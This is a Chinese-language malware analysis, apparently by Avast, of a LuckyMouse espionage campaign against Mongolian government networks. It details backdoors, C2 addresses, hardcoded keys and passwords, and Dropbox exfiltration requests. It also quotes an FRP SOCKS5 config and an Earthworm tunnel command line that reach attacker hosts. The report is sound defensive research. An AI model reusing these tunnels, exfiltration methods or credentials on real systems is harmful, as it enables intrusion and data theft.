引言
今年夏天,Avast发现了一个新的APT攻击行动,针对蒙古国的政府机构和国家数据中心。我们根据研究以中等的信心认为,讲中文的APT组织LuckyMouse是此次攻击的背后主使。
该APT组织植入了后门和键盘记录器,以获取对政府网络的长期访问权限,然后上传了一系列用于在被攻击网络上进行进一步活动的工具,例如扫描本地网络和转储凭证。我们推测,这次网络间谍活动的主要目的是从潜在有兴趣的政府机构中窃取敏感数据。
根据我们的本地遥测数据,我们认为政府机构受到的攻击有两种方式。一种是通过一家为这些机构提供服务的脆弱公司,另一种是通过带有恶意附件的电子邮件钓鱼攻击——即利用CVE-2017-11882的武器化文档。
许多策略与之前的LuckyMouse报告一致;不过,我们还看到一些此前未记录的策略,显示出攻击者已经更新了他们的工具集,新增了Polpo和LuckyBack后门。我们在下面的分析将突出这些新策略。
归因与聚类
我们基于在此次行动调查过程中所发现的工具,推测这次行动是由LuckyMouseAPT组织主导的,其中大多数工具之前已被其他研究人员归因于LuckyMouse]]]。
在2018年,卡巴斯基实验室发布了有关LuckyMouse针对包含亚洲政府资源的国家数据中心的两篇博客文章。这些博客文章描述了几套工具,如网络过滤驱动程序NDISProxy、带有CVE-2017-11882(中国骇客广泛使用的MicrosoftOffice方程编辑器)的武器化文档,以及Earthworm隧道。它们还描述了一种滥用Symantec合法应用程序( IntgStat.exe
)的DLL旁载技术。这是一个合法应用程序,会加载DLL pcalocalresloader.dll 。通过旁载他们自己的版本
pcalocalresloader.dll ,他们从一个压缩并加密的文件 thumbs.db 中加载 HyperBroRAT。尽管一些使用的工具是互联网上公开的工具,但该组织也开发了自己的工具,包括一个
rootkit]]。
2019年4月,PaloAlto Networks发布了一篇有关LuckyMouse的博客文章。根据该文章,该组织在中东一个SharePoint服务器上安装了webshell,以攻击政府组织。同样,该组织使用了几个公开可用的工具(如mimikatz、curl、ntbscan)。但引起我们注意的是,在我们分析的攻击中也使用了相同的HyperBroRAT。该APT攻击还使用了DLL旁载技术,尽管使用的是不同的执行档。所使用的执行档是Symantec应用程序 thinprobe.exe ,它加载
thinhostprobedll.dll 。然后,这个DLL用来旁载包含加密和压缩的HyperBro的
thumb.db]。
我们还在蒙古国国家数据中心的网络中发现了一个Polpo后门。这个后门伴随著被知名LuckyMouse组织所使用的样本,这使我们得出结论认为这是一个LuckyMouse工具包中的新增加项。我们还观察到了更多常用工具,例如VMProtect混淆的Earthworm隧道、自定义安装程序安装NDISProxy网络过滤驱动程序和各种网络扫描器。
感染链
我们观察到该APT组织还针对一家未知公司进行攻击,该公司为东亚的政府机构提供服务。该组织潜入了公司的计算机,成功窃取了隶属于该公司电子邮件帐户的凭证。不幸的是,我们无法确定此次潜入使用的攻击向量。这些凭证然后被用来从被骇的公司电子邮件帐户向政府官员发送电子邮件。虽然我们无法恢复整封电子邮件,但我们成功地恢复了电子邮件的标头。该标头显示,这些电子邮件要求收件人更新固件,即启动附加到该电子邮件的自解压7-zip档案。
日期:2020年6月28日星期日 20:43:08 +0800 (ULAT)
主题:Re: 在伺服器上执行固件更新
XXXXXX_update.exe
(sha256:2D2EA3002C367684F21AD08BDC9B5079EBDEE08B6356AC5694EFA139D4C6E60D)
此档案提取了三个已知的文件——Symantec的 thinprobe.exe 、恶意的 thinhostprobedll.dll 和
thumb.db 。此恶意DLL用于DLL旁载,解密和解压缩 thumb.db ,并最终加载处理后的内容——HyperBroRAT。这个后门也曾被卡巴斯基[1]和PaloAltoNetworks[3]报告过,后者详细描述了HyperBro RAT。
图1:感染向量概述
工具集
在接下来的部分中,我们将描述在受害者的PC上发现的工具集,这些工具是APT组织用于网络间谍活动和在网络内部横向移动的。我们可以将这些工具分为三类:
- 帮助器:ServiceInstaller、ShellCodeExecutor、DataExtractor 1/2、信息收集器
- 远程访问:StartServiceTool、Korplug、LuckyBack、BlueTraveller、Polpo
- 公共可用工具:UAC旁载工具、端口扫描器、密码转储器、FRP、Earthworm隧道
具体来说,我们发现了以下工具:
StartServiceTool
该工具将 wcm.dll 安装到 %WINDIR%\system32 中,并创建一个登录记录
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WindowsConnectionsManager,其值如下:
描述:根据当前可用的网络连接选项,自动做出连接/断开的决策,并根据组策略设置管理网络连接。
显示名称:Windows Connections Manager
ServiceDll:C:\Windows\system32\wcm.dll。
这实际上创建了一个新服务。所丢弃的二进制文件是一个32位服务DLL,包含两部分——嵌入的DLL,和 mmLoader
(http://tishion.github.io/mmLoader/),这是一个绕过Windows加载器的加载器。
最终有效负载DLL是用GO写的,并包含名为“Interface”的单个导出。该函数期望4个参数,包括两个字符串及其对应的长度。字符串值指定受害者ID和要使用的DropboxAPI密钥。该API密钥以RC4加密+ base64编码的值的形式传递。
硬编码的解密密钥为“0000111122223333”。该DLL还包含一个默认的API密钥,似乎是为作者的测试帐户。
最初,它尝试通过HTTP API从Dropbox下载一个文件:
POST /2/files/download HTTP/1.1
Host: content.dropboxapi.com
User-Agent: Go-http-client/1.1
Content-Length: 0
Authorization: Bearer [snipped]
Dropbox-Api-Arg: {“path”: “/infos/000000.txt”}
Accept-Encoding: gzip
如果服务器响应一个文件,它会尝试上传一个带时间戳和主机名的文件到Dropbox:
POST /2/files/upload HTTP/1.1
Host: content.dropboxapi.com
User-Agent: Go-http-client/1.1
Content-Length: 36
Authorization: Bearer [snipped]
Content-Type: application/octet-stream
Dropbox-Api-Arg: {“path”: “/infos/116a0d.txt”,”mode”:
“overwrite”,”autorename”: true,”mute”: false,”strict_conflict”: false}
Accept-Encoding: gzip
%currentDate% %currentTime%##%hostname%
接下来,启动了一个C&C请求-
响应循环。根据C&C服务器的响应,执行以下命令之一:下载文件、上传文件、休眠、退出或在命令行上执行命令。请参见以下图表示例流,请注意所有下载/上传均使用上述DropboxAPI:
图2:详细执行流程概述
ServiceInstaller
我们假设该安装程序目的是由上述某个后门执行,因为它需要命令行参数成功执行:
开关 | 参数
—|—
-i | 要作为服务安装的DLL的路径
-u | 卸载特定服务名称
首先,更改 %windir%\system32\ _和 %windir%\system32\drivers_
的安全描述符,以便当前用户可以将文件复制到这些位置。然后,安装程序将服务可执行文件复制到
%windir%\system32,文件名随机生成(4个字母数字字符)。
根据及时在HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchostnetsvcs中是否已经存在名为 DFS Replication 的服务,创建一个名为 DFS Replication (如果不存在)或 IASJet Database Access Service %number% 的新服务。更具体地说,其参数是:
描述:
“配置Internet身份验证服务(IAS)。如果该服务停止,则需要用户身份验证的远程网络访问将不可用。如果该服务被禁用,则任何显式依赖于它的服务都无法启动或(零售)在多台PC之间复制文件,使其保持同步。在客户端上,它用于在PC之间漫游文件夹;在服务器上,用于在广域网络(WAN)内提供高可用性和本地访问。如果停止该服务,则不会发生文件复制,服务器上的文件将保持过时。如果禁用该服务,则所有显式依赖于它的服务将无法启动。”
显示名称:DFS Replication/IAS Jet Database Access Service %number%
ServiceDll: C:\Windows\system32\<4 random alphanumeric characters>.dll。
标签:0
安全:0
ShellCodeExecutor
此工具接受十六进制编码的shellcode作为参数,然后执行它。负责解码和解压的代码如下所示:
图3:解码演算法和在分配的内存中执行解码有效负载
虽然我们无法重建该执行器的具体用法,但我们能够恢复其参数,对应于一个十六进制编码的metasploit生成的shellcode(反向HTTP代理 –
配置以连接到URL
oss.chrome-upgrade[.]com
(202.59.9[.]58)。我们怀疑威胁行为者使用这段shellcode仅仅是用来从C&C服务器检索和执行下一阶段。
DataExtractor 1
该工具可用于收集潜在敏感的文件,包括 pdf 、 ppt 、 xls 和 doc
扩展名。它会递归扫描所有连接的驱动器,查找在2020年及以后修改过的此类文件。收集到的文件将用Winrar打包,并使用密码 “ zaq1xsw@cde3
” 进行保护。此档案将被保存到 C:\MSBuild\NVIDIA_下,文件名为
_CRYPTO-%computerName%-%number_value%.SYS
。这个扫描每20分钟重复一次。如果这个工具在第二次启动(例如重启后),则仅收集在过去24小时内修改的文件。
每次运行后,将执行文件 %windir%\system32\igfxme.vbs
。由于此工具未包含任何外泄相关功能,我们推测该脚本用于将压缩文件从计算机外泄到C&C。不幸的是,我们无法恢复这个脚本。
DataExtractor 2
这个二进制文件是一个简单的文件扫描器,提供文件扩展名列表、目录列表和日期边界作为参数。它会在列表中的每个目录中搜索具有指定扩展名的文件。如果找到此类文件且其修改日期在提供的日期边界内(以UTC计),它们的完整路径将写入输出文件。这些路径用Windows行分隔符分隔,并以16位Unicode编码。
以下是错误消息的一部分,提供了该工具的使用信息:
T040ClientLite.exe suffix .txt,.xls scanDirs E:\\test,E:\\test1 outputE:\\test\\output.txt startEditDate 2020/04/26 endEditDate 2020/04/27
更一般来说,命令的格式为:
_T040ClientLite.exe suffix scanDirs output startEditDate endEditDate _
信息收集器
信息收集器专注于可移动设备。如果未连接此类驱动器,则终止执行。该收集器对这些驱动器进行指纹识别(序列号、厂商ID、产品ID),并使用64字节的XOR密钥加密这些数据,然后以隐藏文件的形式存储在系统驱动器上。具体而言,使用以下目录:
C:\MSBuild\Resources\Format\S-1-1 (加密文件)
C:\MSBuild\Resources\Format\S-1-0\S-1-0-0(未加密的临时文件,加密后删除)
图4:检测驱动器,检查类型使用GetDriveTypeA_
它通过将自身添加到“运行”(SOFTWARE\Microsoft\Windows\CurrentVersion\Run)登录密钥下的AvpSecurity来确保持久性。
有趣的是,它包含许多未使用的功能,使用命令行工具,比如:systeminfo、arp、ipconfig、netstat和tasklist。它还支持使用WinRAR压缩收集到的信息,并使用硬编码密码“1qaz@WSX”。该样本没有网络功能。它主要用于收集信息并使用可移动设备在网络中的计算机之间转移收集到的信息。
此外,我们分析的特定样本在驱动器枚举例程中存在一个错误,这使其几乎没有用,因为它妨碍了该样本的所有功能。
RAT
Korplug (PlugX)
Korplug (PlugX)
是一个著名的远程访问木马,与讲中文的攻击者相关,自2012年以来已在大量针对性攻击中使用]。它使用DLL旁载将自身加载到内存中,通过合法应用程序保持隐身。Korplug是一个功能全面的RAT,具备文件上传、下载、键盘记录、摄像头控制和访问远程cmd.exeshell等功能。
在我们的案例中,我们观察到它是通过一个由ESET提供的名为unsecapp.exe的应用程序加载的,该应用程序带有有效但过期的证书。在执行unsecapp.exe后,它加载一个恶意DLL
http_dll.dll 。此DLL反过来使用自定义算法解密 http_dll.dat
,生成Korplug,然后加载到内存中并执行。遗憾的是,我们无法追溯到原始有效负载,这些文件是如何被丢弃和执行的。
C&C服务器地址:
web[.]microlynconline[.]com:80
home[.]microlynconline[.]com:8000
help[.]microlynconline[.]com:443
host[.]microlynconline[.]com:53
后门
我们在政府办公室网络中发现了三个不同的后门,其中PolPo和LuckyBack在之前的任何行动中均未见过。Polpo还影响了国家数据中心,而另外两个后门,即BlueTraveller和LuckyBack仅影响政府办公室网络。
LuckyBack
LuckyBack首先收集计算机的指纹,然后尝试与C&C服务器(45.77.55[.]145)建立通信。一旦建立通信,后门开始侦听命令。它具备启动远程shell、文件操作(移动、读取、写入、执行、获取文件大小)、键盘记录和屏幕截取的能力。
技术细节:
最初,通过调用 chcp 来检索所用的代码页,这一命令提供键盘和字符集信息。
第一次请求向C&C服务器“注册”设备,提供其指纹。具体而言,指纹由以下项目构成:PID、Windows版本/构建编号、CPU架构、用户名、用户权限、主机名、IP地址、代码页和RDP会话ID。
如果服务器接受注册,则以PID和简单字符串“OK”响应。然后,启动简单的请求-响应C&C循环,命令及其对应的编号显示于下表中:
命令 | 功能
—|—
0x70, 0x72| 重复接收数据
0x1, 0x11| 创建远程shell或退出远程shell
0x2| 获取特定文件的大小和最后编写信息
0x3| 读取特定偏移和文件的数据
0x4| 获取文件大小
0x12| 删除特定文件
0x13| 终止特定线程
0x14| 获取读取配置
0x22| 通过CreateProcess API执行 %command%
0x23| 设置0x3命令的读取配置
0x24| 将数据写入特定文件
0x32| 文件操作(从一个位置移动文件到另一个位置)
0x50| 开始键盘记录
0x51| 停止键盘记录
0x60| 截取屏幕
BlueTraveller
这个后门的命令相较于前者更为简单。它仅接受四个命令:退出、上传、下载和在命令行执行。然而,它使用两层C&C伺服器,这意味著第一次请求在第一层,并返回第二层的C&C伺服器IP地址。随后,请求-
响应C&C循环使用第二层。如果后门收到命令行命令,控制台的输出将使用AES-256加密后,发送回第二层的C&C伺服器。
该二进制文件的字符串经过RC4加密,使用硬编码的密钥“L!Q@W#E$R%T^Y&U*A|}t~k”。在这些字符串中,我们可能找到第一层C&C服务器的地址和应用于这些请求的用户代理。我们的样本尝试联系http://go.vegispaceshop[.]org/shop.htm。最初看起来响应相当不起眼。但是,更仔细一看,我们看到许多行后面混合了制表符和空格,这确实有点可疑。而令人惊讶的是,这正是第二层C&C隐藏的IP地址!
图5:第一层C&C伺服器的响应
图6:解密HTML响应中的空白字符的脚本
BlueTraveller使用相同的加密方案——AES-256,密钥源自字串,通过SHA-256进行哈希,从而提供IV和密钥。这种加密的首次应用是在对第二层C&C的第一次请求中。对于这次请求,密钥来自字串“
0304276cf4f31345 ”。然后,该密钥用于加密生成的GUID和计算机主机名,然后这些经过Base64编码的数据用于生成请求URL:
http:// /home///.
执行该请求后,命令从:
http:// /index.htm.
获取的数据经过AES-256加密,使用上述方法,GUID作为密钥导出程序的基字符串。每个响应还包含随机数字,这将在第一次第二层请求中发送。恶意软件检查接收的数字是否与其发送的一致;若不符,则丢弃命令。如果收到命令行命令,执行该命令的输出(以AES-256加密,使用与上个响应相同的密钥,并且经过Base64编码)将发送到
http:///help///.
Polpo
Polpo是一个我们自2018年以来已经见过的后门。它支持大约15个命令,包括信息收集和外泄、文件传输和代理连接。
Base64| IP
—|—
MjAzLjkxLjExOS40OjgwMDA= | 203.91.119[.]4:8000
MjAyLjE3OS4wLjE0Mjo4MDgw| 202.179.0[.]142:8080
MjAyLjE3OS41LjE2MTo0NDM= | 202.179.5[.]161:443
二进制文件中硬编码了Base64编码的C&C服务器地址。
Polpo – 通信
该后门模仿HTTP协议以便与正常流量融为一体。传输的数据经AES加密,然后编码为Base64,并伪装成HTML内容的一部分发送。
图7:命令数据解析
AES加密密钥是从每个新命令包中接收到的第一个数据包派生的,使用以下算法:
图8:加密密钥计算
该样本检查系统中是否配置了代理,该信息保存在登录键 Software\Microsoft\Windows\CurrentVersion\InternetSettings\ProxyEnable 中。如果已配置代理,则使用登录键
Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyServer
指定的服务器进行所有连接。
Polpo – 功能
该后门支持15个以上命令,尽管其中一些是重复的。大多数命令在单独的线程中执行。错误和线程间通信通过事件处理。
图9:命令调度器
我们分析的Polpo版本支持的命令如下:
主要命令 | 子命令 | 功能
—|—|—
0x1FFFFFF| | 初始化CLI介面
| 0x101FFFF| CLI生成CMD.EXE
| 0x102FFFF| CLI将数据写入文件
| 0x103FFFF| CLI列出目录
| 0x104FFFF| CLI ShellExecuteW(0, “Open”, Cmd, 0, 0)
| 0x106FFFF| CLI更改目录
| 0x107FFFF| CLI删除文件
0x2EEEEEE| | 命令
| 0x201EEEE| 列出驱动器信息
| 0x202EEEE| 列出文件
| 0x203EEEE| 将文件发送到C&C
| 0x204EEEE| 将数据写入文件
| 0x 205EEEE| 运行默认应用程序
| 0x206EEEE| Shell执行打开
| 0x207EEEE| 删除文件
| 0x208EEEE| 递归删除文件
0x3DD03DD| | 作为代理(伪装成HTTP)
| 0x30103DD| 获取要传输的数据
0x3DDDDDD| | 作为代理(原始数据)
0x5FFFFFF| | 关闭连接
0x60AAAAAA| | 关闭连接
0x70BBBBBB| | 重启
0x80CCCCCC| | 关闭系统
0xAFFFFFF| | 将文件发送到C&C
UAC旁载工具
我们在几个受损设备上检测到了一个开源的UAC旁载工具()。它可能用于提升权限或实现系统的持久性。我们推测它被用来在管理员级别的许可权下执行任务和程序。
端口扫描器
在受损设备上看到几个不同的端口扫描器,文件名各异。使用的一个端口扫描器是开源的
https://github.com/kingron/s。我们假设在这种情况下它用于扫描服务器的端口,以了解正在运行的服务。
Nbtscan
Nbtscan是一种命令行NetBIOS扫描器,可用于扫描网络中的开放的NetBIOS名称服务器。
密码转储器
和
在受感染的计算机上出现。我们推测它们被用来从受损的计算机中检索凭证。我们还发现有一个经过包装的Mimikatz版本,从
https://github.com/jas502n/mimikat_ssp 下载,在几个受损设备上出现。
FRP
Fast Reverse Proxy (FRP)
是一个工具,可以让您将隐藏在NAT或防火墙后的本地服务公开到互联网。支持原始TCP和UDP,以及几个其他协议,这些协议的请求可以通过此代理转发到内部服务。我们恢复了一个配置文件
3bef4cd.tmp ,该代理的内容如下:
[common]
server_addr = 202.59.9[.]58
server_port = 8443
privilege_token = %token%
[SDJY_proxy]
type = tcp
remote_port = 6001
plugin = socks5
显然,该行为者使用SOCKS5插件以便通过202.59.9[.]58:8443路由请求进入受损的网络。
图10:FRP工具使用示意图
Earthworm隧道器
Earthworm隧道器被卡巴斯基认为是讲中文的攻击者的典型工具。
我们在所有国家数据中心的受损系统上看到了这个工具。在其中一台设备上,我们成功恢复了使用的命令行参数: -s rssocks -d139.180.155.133 -e 80
。该工具本身会创建一个SOCKS隧道到提供的服务器。它可以在http://rootkiter.com/EarthWorm/上公开获取。
结论
正如本文所示,LuckyMouse使用了新的方法来通过第三方系统潜入政府机构。
Avast最近保护了政府机构和国家数据中心的用户,防止使用我们分析的样本进行进一步攻击。我们还发现了一种有趣的加密方法,该方法在C&C响应的空格中传递隐藏的IP地址。我们推测,攻击者在此次行动中更新了他们的攻击工具集,因为Avast已发现他们的行动。
我想感谢Adolf Středa、David Zimmer和Anh Ho对本研究的帮助。
受影响指标(IoC)
- 代码库:
- SHA-256列表:
MITRE ATT&CK技术
策略 | ID | 名称 | 注解
—|—|—|—
初步访问 | T1199 | 信任关系 | 从被骇的信任电子邮件帐户发送电子邮件
T1566.001 | 鱼叉式网络钓鱼附件 | 包含恶意文档和软件更新的电子邮件
执行 | T1059.003 | Windows命令提示符 |
T1204.002 | 恶意文件 |
T1203 | 客户端执行的利用 | 武器化的文档使用CVE-2017-11882 – 方程编辑器
T1106 | 原生API | Windows API CreateProcessW
持久性 | T1547.001 | 注册表启动项 | 使用“SOFTWARE\Microsoft\Windows\CurrentVersion\Run\AvpSecurity”
T1543.003 | 创建或修改系统进程:Windows服务 | 多个样本创建持久性服务
权限升级 | T1548.002 | 绕过用户访问控制 | WinPwnage工具
T1543.003 | 创建或修改系统进程:Windows服务 | 在“HKLM\SYSTEM\CurrentControlSet\Services\”中安装服务
防御逃避 | T1574.002 | 劫持执行流程:DLL旁载 | HyperBro被通过合法应用程序载入、解密、解压缩并执行
T1564.001 | 隐藏的文件和目录 | 隐藏收集的信息于隐藏目录和文件
T1027 | 混淆的文件或信息 | 收集的信息使用字节XOR操作加密
T1218.011 | Rundll32 | 执行shell代码
T1218 | 签名二进制代理执行 | thinprobe.exe (Symantec)、unsecapp.exe (ESET)
凭证访问 | T1003.001 | LSASS内存 | Mimikatz
T1552 | 不安全的凭证 | Lasagne
发现 | T1083 | 文件和目录探索 | 搜索扩展名为pdf、ppt、xls、doc的敏感文档
T1046 | 网络服务扫描 | 使用公开可用工具“nbtscan”和端口扫描器“s”
T1120 | 外围设备探索 | 搜索系统上的可移动驱动器
T1082 | 系统信息探索 |
横向移动 | T1091 | 通过可移动媒介复制 | 信息收集器可以将二进制文件复制到可移动驱动器
收集 | T1560.001 | 将收集数据归档:通过实用程序归档 | 以密码保护的.rar档案隐藏外泄的文档
T1119 | 自动化收集 |
T1056.001 | 输入捕获:键盘记录 | 用于LuckyBack后门
命令与控制 | T1071.001 | 应用层协议:Web协议 | Polpo: 使用HTTP与C2通讯
T1132.001 | 数据编码:标准编码 | Polpo: 加密数据编码为Base64
T1573.001 | 加密通道:对称加密 | Polpo: 传输的数据使用AES加密
T1104 | 多阶段通道 | BlueTraveller: 使用多个C&C服务器
T1090.001 | 代理:内部代理 | Polpo: 在网络中作为代理
外泄 | T1052.001 | 通过物理媒介外泄:通过USB 外泄 | 信息收集器通过可移动驱动器将文件转移到网络中
T1567.002 | 通过Web服务外泄:外泄到云存储 | StartServiceTool: 使用Dropbox外泄收集的数据
T1041 | 通过C2通道外泄 | Polpo将数据外泄到C&C服务器
参考文献
[1] https://securelist.com/luckymouse-hits-national-data-center/86083/
[2] https://securelist.com/luckymouse-ndisproxy-driver/87914/
[4] https://www.welivesecurity.com/2014/11/12/korplug-military-targeted-
attacks-afghanistan-tajikistan/
标签: ,
,
,
分享:XFacebook